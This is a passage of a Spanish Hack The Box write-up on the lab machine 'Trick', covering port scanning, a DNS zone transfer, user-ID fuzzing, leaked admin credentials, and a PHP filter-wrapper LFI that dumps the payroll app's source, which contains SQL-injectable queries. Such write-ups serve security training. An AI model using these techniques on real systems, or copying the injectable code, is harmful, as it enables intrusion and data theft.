This page looks best with JavaScript enabled

Hack The Box - Trick

 •  ✍️ sckull

Multiples vulnerabilidades en el sitio web nos permitieron acceder a archivos locales de la máquina, que, finalmente nos dieron acceso por SSH. Finalmente escalamos privilegios mediante fail2ban.

Nombre Trick box_img_maker
OS

Linux

Puntos 20
Dificultad Facil
IP 10.10.11.166
Maker

Geiseric

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[6.8, 5, 5, 5, 5],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[10, 10, 10, 0, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

nmap

nmap muestra multiples puertos abiertos: ssh (22), smtp (25), dns (53) y http (80).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
# Nmap 7.92 scan initiated Wed Jun 29 22:39:22 2022 as: nmap -p22,25,53,80 -sV -sC -oN nmap_scan 10.10.11.166
Nmap scan report for 10.10.11.166 (10.10.11.166)
Host is up (0.18s latency).

PORT   STATE SERVICE    VERSION
22/tcp open  tcpwrapped
| ssh-hostkey:
|   256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA)
|_  256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519)
25/tcp open  smtp       Postfix smtpd
|_smtp-commands: debian.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
53/tcp open  domain     ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid:
|_  bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open  http       nginx 1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme
|_http-server-header: nginx/1.14.2
Service Info: Host:  debian.localdomain; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jun 29 22:40:12 2022 -- 1 IP address (1 host up) scanned in 50.06 seconds

Web Site

Vemos que el servidor es un nginx, no se muestra algun dominio o redirección.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
 π ~/htb/trick ❯ curl -sI http://10.10.11.166/
HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Thu, 30 Jun 2022 02:40:13 GMT
Content-Type: text/html
Content-Length: 5480
Last-Modified: Wed, 23 Mar 2022 16:34:04 GMT
Connection: keep-alive
ETag: "623b4bfc-1568"
Accept-Ranges: bytes

Únicamente se muestra un formulario para notificaciones por email.
image

Directory Brute Forcing

feroxbuster muestra unicamente los recursos (css, javascript) del sitio.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 π ~/htb/trick ❯ feroxbuster -u http://10.10.11.166/ -w $MD --depth 1 -x php,html

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.5.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.10.11.166/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.5.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 💲  Extensions            │ [php, html]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 1
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET       83l      475w     5480c http://10.10.11.166/index.html
301      GET        7l       12w      185c http://10.10.11.166/assets => http://10.10.11.166/assets/
301      GET        7l       12w      185c http://10.10.11.166/css => http://10.10.11.166/css/
301      GET        7l       12w      185c http://10.10.11.166/js => http://10.10.11.166/js/

Virtual Hosts

nmap muestra el puerto 53 abierto, utilizando dig y asumiendo que el dominio sigue el patron de las máquinas de htb identificamos dos subdominios.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
 π ~/htb/trick ❯ dig trick.htb @10.10.11.166 axfr

; <<>> DiG 9.18.0-2-Debian <<>> trick.htb @10.10.11.166 axfr
;; global options: +cmd
trick.htb.		604800	IN	SOA	trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb.		604800	IN	NS	trick.htb.
trick.htb.		604800	IN	A	127.0.0.1
trick.htb.		604800	IN	AAAA	::1
preprod-payroll.trick.htb. 604800 IN	CNAME	trick.htb.
trick.htb.		604800	IN	SOA	trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
;; Query time: 92 msec
;; SERVER: 10.10.11.166#53(10.10.11.166) (TCP)
;; WHEN: Thu Jun 30 20:03:00 EDT 2022
;; XFR size: 6 records (messages 1, bytes 231)

 π ~/htb/trick ❯

trick.htb

Tiene el mismo contenido que el observado en la dirección IP.

root.trick.htb

El subdominio root contiene lo mismo que el dominio, un formulario.
image

Payroll

Preprod-payroll

prerpod-payrooll muestra un formulario para un login.
image

Además el codigo fuente del sitio muestra una solicitudo POST con ajax a la pagina ajax.php, tambien observamos las paginas voting.php y index.php, esta ultima tiene como parametro page y el valor es home, por lo que podría tratarse de una vulnerabilidad LFI.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<script>
	$('#login-form').submit(function(e){
		e.preventDefault()
		$('#login-form button[type="button"]').attr('disabled',true).html('Logging in...');
		if($(this).find('.alert-danger').length > 0 )
			$(this).find('.alert-danger').remove();
		$.ajax({
			url:'ajax.php?action=login',
			method:'POST',
			data:$(this).serialize(),
			error:err=>{
				console.log(err)
		$('#login-form button[type="button"]').removeAttr('disabled').html('Login');

			},
			success:function(resp){
				if(resp == 1){
					location.href ='index.php?page=home';
				}else if(resp == 2){
					location.href ='voting.php';
				}else{
					$('#login-form').prepend('<div class="alert alert-danger">Username or password is incorrect.</div>')
					$('#login-form button[type="button"]').removeAttr('disabled').html('Login');
				}
			}
		})
	})
</script>	

feroxbuster nos muestra nuevas paginas.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
π ~/htb/trick ❯ feroxbuster -u http://preprod-payroll.trick.htb/ -w $MD --depth 1 -x php,html

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.5.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://preprod-payroll.trick.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.5.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 💲  Extensions            │ [php, html]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 1
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
302      GET      267l      527w        0c http://preprod-payroll.trick.htb/index.php => login.php
200      GET      177l      313w        0c http://preprod-payroll.trick.htb/login.php
200      GET       45l      100w        0c http://preprod-payroll.trick.htb/header.php
200      GET       81l      141w        0c http://preprod-payroll.trick.htb/users.php
200      GET       27l       31w        0c http://preprod-payroll.trick.htb/home.php
301      GET        7l       12w      185c http://preprod-payroll.trick.htb/assets => http://preprod-payroll.trick.htb/assets/
200      GET        0l        0w        0c http://preprod-payroll.trick.htb/ajax.php
301      GET        7l       12w      185c http://preprod-payroll.trick.htb/database => http://preprod-payroll.trick.htb/database/
200      GET       23l       84w        0c http://preprod-payroll.trick.htb/navbar.php
200      GET      179l      327w        0c http://preprod-payroll.trick.htb/department.php
200      GET       20l       42w        0c http://preprod-payroll.trick.htb/topbar.php
200      GET      196l      363w        0c http://preprod-payroll.trick.htb/position.php
200      GET       95l      155w        0c http://preprod-payroll.trick.htb/employee.php

Al no tener credenciales o acceso al sitio visitamos y observamos el codigo de cada una de las páginas que feroxbuster encontró, users.php muestra nombre y usuario, también se muestran algunas acciones como editar y eliminar.
image

En el codigo fuente se observa distintas solicitudes segun la acción, para nuevo usuario y editar usuario vemos que redirige a la pagina manage_user.php segun la acción se envia el id de usuario, finalmente para eliminar un usuario realiza una solicitud POST hacia ajax.php con el id del usuario.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<script>	
$('#new_user').click(function(){
	uni_modal('New User','manage_user.php')
})
$('.edit_user').click(function(){
	uni_modal('Edit User','manage_user.php?id='+$(this).attr('data-id'))
})
$('.delete_user').click(function(){
		_conf("Are you sure to delete this user?","delete_user",[$(this).attr('data-id')])
	})
	function delete_user($id){
		start_load()
		$.ajax({
			url:'ajax.php?action=delete_user',
			method:'POST',
			data:{id:$id},
			success:function(resp){
				if(resp==1){
					alert_toast("Data successfully deleted",'success')
					setTimeout(function(){
						location.reload()
					},1500)

				}
			}
		})
	}
</script>

Creds

manage_users.php muestra unicamente un formulario, en el codigo fuente se muestra una solicitud para ajax.php con los datos del formulario para crear un usuario.
image

Como sabemos es posible pasarle un id a la pagina para editar un usuario, observamos que el usuario con id 1 es el Administrador, el formulario contiene la contraseña, tras cambiar el tipo de input logramos obtener la contraseña.
image

Ejecutamos ffuf con una lista de ids para verificar la existencia de algun otro usuario, unicamente encontramos el id del administrador.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 π ~/htb/trick ❯ python -c 'for i in range(1,100): print(i)' > user_ids.txt
 π ~/htb/trick ❯ ffuf -c -w user_ids.txt -u "http://preprod-payroll.trick.htb/manage_user.php?id=FUZZ" -fs 1259

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://preprod-payroll.trick.htb/manage_user.php?id=FUZZ
 :: Wordlist         : FUZZ: user_ids.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response size: 1259
________________________________________________

1                       [Status: 200, Size: 1312, Words: 44, Lines: 44]
:: Progress: [99/99] :: Job [1/1] :: 56 req/sec :: Duration: [0:00:01] :: Errors: 0 ::
 π ~/htb/trick ❯

Creds:

1
Enemigosss : SuperGucciRainbowCake

Payroll - LFI

Tras ingresar con las credenciales vemos información sobre empleados, pagos, departamentos, etc. Vemos que al visitar cada pagina el valor del parametro de index cambia index.php?page=[pagina].
image

Utilizando un wrapper de PHP logramos obtener el codigo fuente del index. Observamos en el codigo que utiliza include segun el valor que se pase, al final agrega la extensión php, por lo que solo podriamos acceder a paginas con esta extension.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
// wrapper ---> php://filter/convert.base64-encode/resource=index
//index.php
<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="utf-8">
  <meta content="width=device-width, initial-scale=1.0" name="viewport">

  <title>Admin | Employee's Payroll Management System</title>
 	

<?php
	session_start();
  if(!isset($_SESSION['login_id']))
    header('location:login.php');
 include('./header.php'); 
 // include('./auth.php'); 
 ?>

</head>
<style>
	body{
        background: #80808045;
  }
  .modal-dialog.large {
    width: 80% !important;
    max-width: unset;
  }
  .modal-dialog.mid-large {
    width: 50% !important;
    max-width: unset;
  }
  div#confirm_modal {
      z-index: 9991;
  }
</style>

<body>
	<?php include 'topbar.php' ?>
	<?php include 'navbar.php' ?>
  <div class="toast" id="alert_toast" role="alert" aria-live="assertive" aria-atomic="true">
    <div class="toast-body text-white">
    </div>
  </div>
  <main id="view-panel" >
    <?php $page = isset($_GET['page']) ? $_GET['page'] :'home'; ?>
 	<?php include $page.'.php' ?>
  	

  </main>

  <div id="preloader"></div>
  <a href="#" class="back-to-top"><i class="icofont-simple-up"></i></a>

<div class="modal fade" id="confirm_modal" role='dialog'>
    <div class="modal-dialog modal-md" role="document">
      <div class="modal-content">
        <div class="modal-header">
        <h5 class="modal-title">Confirmation</h5>
      </div>
      <div class="modal-body">
        <div id="delete_content"></div>
      </div>
      <div class="modal-footer">
        <button type="button" class="btn btn-primary" id='confirm' onclick="">Continue</button>
        <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
      </div>
      </div>
    </div>
  </div>
  <div class="modal fade" id="uni_modal" role='dialog'>
    <div class="modal-dialog modal-md" role="document">
      <div class="modal-content">
        <div class="modal-header">
        <h5 class="modal-title"></h5>
      </div>
      <div class="modal-body">
      </div>
      <div class="modal-footer">
        <button type="button" class="btn btn-primary" id='submit' onclick="$('#uni_modal form').submit()">Save</button>
        <button type="button" class="btn btn-secondary" data-dismiss="modal">Cancel</button>
      </div>
      </div>
    </div>
  </div>
</body>
<script>
	 window.start_load = function(){
    $('body').prepend('<di id="preloader2"></di>')
  }
  window.end_load = function(){
    $('#preloader2').fadeOut('fast', function() {
        $(this).remove();
      })
  }

  window.uni_modal = function($title = '' , $url='',$size=""){
    start_load()
    $.ajax({
        url:$url,
        error:err=>{
            console.log()
            alert("An error occured")
        },
        success:function(resp){
            if(resp){
                $('#uni_modal .modal-title').html($title)
                $('#uni_modal .modal-body').html(resp)
                if($size != ''){
                    $('#uni_modal .modal-dialog').addClass($size)
                }else{
                    $('#uni_modal .modal-dialog').removeAttr("class").addClass("modal-dialog modal-md")
                }
                $('#uni_modal').modal({
                  show:true,
                  backdrop:'static',
                  keyboard:false,
                  focus:true
                })
                end_load()
            }
        }
    })
}
window._conf = function($msg='',$func='',$params = []){
     $('#confirm_modal #confirm').attr('onclick',$func+"("+$params.join(',')+")")
     $('#confirm_modal .modal-body').html($msg)
     $('#confirm_modal').modal({
                  show:true,
                  backdrop:'static',
                  keyboard:false,
                  focus:true
                })
  }
   window.alert_toast= function($msg = 'TEST',$bg = 'success'){
      $('#alert_toast').removeClass('bg-success')
      $('#alert_toast').removeClass('bg-danger')
      $('#alert_toast').removeClass('bg-info')
      $('#alert_toast').removeClass('bg-warning')

    if($bg == 'success')
      $('#alert_toast').addClass('bg-success')
    if($bg == 'danger')
      $('#alert_toast').addClass('bg-danger')
    if($bg == 'info')
      $('#alert_toast').addClass('bg-info')
    if($bg == 'warning')
      $('#alert_toast').addClass('bg-warning')
    $('#alert_toast .toast-body').html($msg)
    $('#alert_toast').toast({delay:3000}).toast('show');
  }
  $(document).ready(function(){
    $('#preloader').fadeOut('fast', function() {
        $(this).remove();
      })
  })
  $('.datetimepicker').datetimepicker({
      format:'Y/m/d H:i',
      startDate: '+3d'
  })
  $('.select2').select2({
    placeholder:"Please select here",
    width: "100%"
  })
</script>	
</html>

Tambien obtuvimos el codigo fuente de otras páginas, entre ellas la conexion de la base de datos con las credenciales.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
//users
<?php 

?>

<div class="container-fluid">
	
	<div class="row">
	<div class="col-lg-12">
			<button class="btn btn-primary float-right btn-sm" id="new_user"><i class="fa fa-plus"></i> New user</button>
	</div>
	</div>
	<br>
	<div class="row">
		<div class="card col-lg-12">
			<div class="card-body">
				<table class="table-striped table-bordered col-md-12">
			<thead>
				<tr>
					<th class="text-center">#</th>
					<th class="text-center">Name</th>
					<th class="text-center">Username</th>
					<th class="text-center">Action</th>
				</tr>
			</thead>
			<tbody>
				<?php
 					include 'db_connect.php';
 					$users = $conn->query("SELECT * FROM users order by name asc");
 					$i = 1;
 					while($row= $users->fetch_assoc()):
				 ?>
				 <tr>
				 	<td>
				 		<?php echo $i++ ?>
				 	</td>
				 	<td>
				 		<?php echo $row['name'] ?>
				 	</td>
				 	<td>
				 		<?php echo $row['username'] ?>
				 	</td>
				 	<td>
				 		<center>
								<div class="btn-group">
								  <button type="button" class="btn btn-primary">Action</button>
								  <button type="button" class="btn btn-primary dropdown-toggle dropdown-toggle-split" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
								    <span class="sr-only">Toggle Dropdown</span>
								  </button>
								  <div class="dropdown-menu">
								    <a class="dropdown-item edit_user" href="javascript:void(0)" data-id = '<?php echo $row['id'] ?>'>Edit</a>
								    <div class="dropdown-divider"></div>
								    <a class="dropdown-item delete_user" href="javascript:void(0)" data-id = '<?php echo $row['id'] ?>'>Delete</a>
								  </div>
								</div>
								</center>
				 	</td>
				 </tr>
				<?php endwhile; ?>
			</tbody>
		</table>
			</div>
		</div>
	</div>

</div>
<script>
	
$('#new_user').click(function(){
	uni_modal('New User','manage_user.php')
})
$('.edit_user').click(function(){
	uni_modal('Edit User','manage_user.php?id='+$(this).attr('data-id'))
})
$('.delete_user').click(function(){
		_conf("Are you sure to delete this user?","delete_user",[$(this).attr('data-id')])
	})
	function delete_user($id){
		start_load()
		$.ajax({
			url:'ajax.php?action=delete_user',
			method:'POST',
			data:{id:$id},
			success:function(resp){
				if(resp==1){
					alert_toast("Data successfully deleted",'success')
					setTimeout(function(){
						location.reload()
					},1500)

				}
			}
		})
	}
</script>

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
//ajax.php
<?php
ob_start();
$action = $_GET['action'];
include 'admin_class.php';
$crud = new Action();

if($action == 'login'){
	$login = $crud->login();
	if($login)
		echo $login;
}
if($action == 'login2'){
	$login = $crud->login2();
	if($login)
		echo $login;
}
if($action == 'logout'){
	$logout = $crud->logout();
	if($logout)
		echo $logout;
}
if($action == 'logout2'){
	$logout = $crud->logout2();
	if($logout)
		echo $logout;
}
if($action == 'save_user'){
	$save = $crud->save_user();
	if($save)
		echo $save;
}
if($action == 'delete_user'){
	$save = $crud->delete_user();
	if($save)
		echo $save;
}
if($action == 'signup'){
	$save = $crud->signup();
	if($save)
		echo $save;
}
if($action == "save_settings"){
	$save = $crud->save_settings();
	if($save)
		echo $save;
}
if($action == "save_employee"){
	$save = $crud->save_employee();
	if($save)
		echo $save;
}
if($action == "delete_employee"){
	$save = $crud->delete_employee();
	if($save)
		echo $save;
}
if($action == "save_department"){
	$save = $crud->save_department();
	if($save)
		echo $save;
}
if($action == "delete_department"){
	$save = $crud->delete_department();
	if($save)
		echo $save;
}
if($action == "save_position"){
	$save = $crud->save_position();
	if($save)
		echo $save;
}
if($action == "delete_position"){
	$save = $crud->delete_position();
	if($save)
		echo $save;
}
if($action == "save_allowances"){
	$save = $crud->save_allowances();
	if($save)
		echo $save;
}
if($action == "delete_allowances"){
	$save = $crud->delete_allowances();
	if($save)
		echo $save;
}

if($action == "save_employee_allowance"){
	$save = $crud->save_employee_allowance();
	if($save)
		echo $save;
}
if($action == "delete_employee_allowance"){
	$save = $crud->delete_employee_allowance();
	if($save)
		echo $save;
}
if($action == "save_deductions"){
	$save = $crud->save_deductions();
	if($save)
		echo $save;
}
if($action == "delete_deductions"){
	$save = $crud->delete_deductions();
	if($save)
		echo $save;
}
if($action == "save_employee_deduction"){
	$save = $crud->save_employee_deduction();
	if($save)
		echo $save;
}
if($action == "delete_employee_deduction"){
	$save = $crud->delete_employee_deduction();
	if($save)
		echo $save;
}

if($action == "save_employee_attendance"){
	$save = $crud->save_employee_attendance();
	if($save)
		echo $save;
}
if($action == "delete_employee_attendance"){
	$save = $crud->delete_employee_attendance();
	if($save)
		echo $save;
}
if($action == "delete_employee_attendance_single"){
	$save = $crud->delete_employee_attendance_single();
	if($save)
		echo $save;
}
if($action == "save_payroll"){
	$save = $crud->save_payroll();
	if($save)
		echo $save;
}
if($action == "delete_payroll"){
	$save = $crud->delete_payroll();
	if($save)
		echo $save;
}
if($action == "calculate_payroll"){
	$save = $crud->calculate_payroll();
	if($save)
		echo $save;
}
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
//admin_class.php
<?php
session_start();
ini_set('display_errors', 1);
Class Action {
	private $db;

	public function __construct() {
		ob_start();
   	include 'db_connect.php';
    
    $this->db = $conn;
	}
	function __destruct() {
	    $this->db->close();
	    ob_end_flush();
	}

	function login(){
		extract($_POST);
		$qry = $this->db->query("SELECT * FROM users where username = '".$username."' and password = '".$password."' ");
		if($qry->num_rows > 0){
			foreach ($qry->fetch_array() as $key => $value) {
				if($key != 'passwors' && !is_numeric($key))
					$_SESSION['login_'.$key] = $value;
			}
				return 1;
		}else{
			return 3;
		}
	}
	function login2(){
		extract($_POST);
		$qry = $this->db->query("SELECT * FROM users where username = '".$email."' and password = '".md5($password)."' ");
		if($qry->num_rows > 0){
			foreach ($qry->fetch_array() as $key => $value) {
				if($key != 'passwors' && !is_numeric($key))
					$_SESSION['login_'.$key] = $value;
			}
				return 1;
		}else{
			return 3;
		}
	}
	function logout(){
		session_destroy();
		foreach ($_SESSION as $key => $value) {
			unset($_SESSION[$key]);
		}
		header("location:login.php");
	}
	function logout2(){
		session_destroy();
		foreach ($_SESSION as $key => $value) {
			unset($_SESSION[$key]);
		}
		header("location:../index.php");
	}

	function save_user(){
		extract($_POST);
		$data = " name = '$name' ";
		$data .= ", username = '$username' ";
		$data .= ", password = '$password' ";
		$data .= ", type = '$type' ";
		if(empty($id)){
			$save = $this->db->query("INSERT INTO users set ".$data);
		}else{
			$save = $this->db->query("UPDATE users set ".$data." where id = ".$id);
		}
		if($save){
			return 1;
		}
	}
	function signup(){
		extract($_POST);
		$data = " name = '$name' ";
		$data .= ", contact = '$contact' ";
		$data .= ", address = '$address' ";
		$data .= ", username = '$email' ";
		$data .= ", password = '".md5($password)."' ";
		$data .= ", type = 3";
		$chk = $this->db->query("SELECT * FROM users where username = '$email' ")->num_rows;
		if($chk > 0){
			return 2;
			exit;
		}
			$save = $this->db->query("INSERT INTO users set ".$data);
		if($save){
			$qry = $this->db->query("SELECT * FROM users where username = '".$email."' and password = '".md5($password)."' ");
			if($qry->num_rows > 0){
				foreach ($qry->fetch_array() as $key => $value) {
					if($key != 'passwors' && !is_numeric($key))
						$_SESSION['login_'.$key] = $value;
				}
			}
			return 1;
		}
	}

	function save_settings(){
		extract($_POST);
		$data = " name = '".str_replace("'","&#x2019;",$name)."' ";
		$data .= ", email = '$email' ";
		$data .= ", contact = '$contact' ";
		$data .= ", about_content = '".htmlentities(str_replace("'","&#x2019;",$about))."' ";
		if($_FILES['img']['tmp_name'] != ''){
						$fname = strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];
						$move = move_uploaded_file($_FILES['img']['tmp_name'],'assets/img/'. $fname);
					$data .= ", cover_img = '$fname' ";

		}
		
		// echo "INSERT INTO system_settings set ".$data;
		$chk = $this->db->query("SELECT * FROM system_settings");
		if($chk->num_rows > 0){
			$save = $this->db->query("UPDATE system_settings set ".$data);
		}else{
			$save = $this->db->query("INSERT INTO system_settings set ".$data);
		}
		if($save){
		$query = $this->db->query("SELECT * FROM system_settings limit 1")->fetch_array();
		foreach ($query as $key => $value) {
			if(!is_numeric($key))
				$_SESSION['setting_'.$key] = $value;
		}

			return 1;
				}
	}

	
	function save_employee(){
		extract($_POST);
		$data =" firstname='$firstname' ";
		$data .=", middlename='$middlename' ";
		$data .=", lastname='$lastname' ";
		$data .=", position_id='$position_id' ";
		$data .=", department_id='$department_id' ";
		$data .=", salary='$salary' ";
		

		if(empty($id)){
			$i= 1;
			while($i == 1){
			$e_num=date('Y') .'-'. mt_rand(1,9999);
				$chk  = $this->db->query("SELECT * FROM employee where employee_no = '$e_num' ")->num_rows;
				if($chk <= 0){
					$i = 0;
				}
			}
			$data .=", employee_no='$e_num' ";

			$save = $this->db->query("INSERT INTO employee set ".$data);
		}else{
			$save = $this->db->query("UPDATE employee set ".$data." where id=".$id);
		}
		if($save)
			return 1;
	}
	function delete_employee(){
		extract($_POST);
		$delete = $this->db->query("DELETE FROM employee where id = ".$id);
		if($delete)
			return 1;
	}
	
	function save_department(){
		extract($_POST);
		$data =" name='$name' ";
		

		if(empty($id)){
			$save = $this->db->query("INSERT INTO department set ".$data);
		}else{
			$save = $this->db->query("UPDATE department set ".$data." where id=".$id);
		}
		if($save)
			return 1;
	}
	function delete_department(){
		extract($_POST);
		$delete = $this->db->query("DELETE FROM department where id = ".$id);
		if($delete)
			return 1;
	}
	function save_position(){
		extract($_POST);
		$data =" name='$name' ";
		$data .=", department_id = '$department_id' ";
		

		if(empty($id)){
			$save = $this->db->query("INSERT INTO position set ".$data);
		}else{
			$save = $this->db->query("UPDATE position set ".$data." where id=".$id);
		}
		if($save)
			return 1;
	}
	function delete_position(){
		extract($_POST);
		$delete = $this->db->query("DELETE FROM position where id = ".$id);
		if($delete)
			return 1;
	}
	function save_allowances(){
		extract($_POST);
		$data =" allowance='$allowance' ";
		$data .=", description = '$description' ";
		

		if(empty($id)){
			$save = $this->db->query("INSERT INTO allowances set ".$data);
		}else{
